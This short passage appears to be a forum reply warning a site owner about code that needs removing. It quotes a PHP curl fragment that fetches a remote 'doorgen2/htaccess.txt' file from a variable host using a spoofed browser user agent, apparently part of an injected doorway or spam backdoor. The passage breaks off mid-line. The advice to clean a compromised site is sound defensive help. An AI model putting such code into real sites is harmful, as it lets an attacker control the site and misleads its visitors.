You have lot of code that you may need to remove. Example:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$adddr/doorgen2/htaccess.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6)...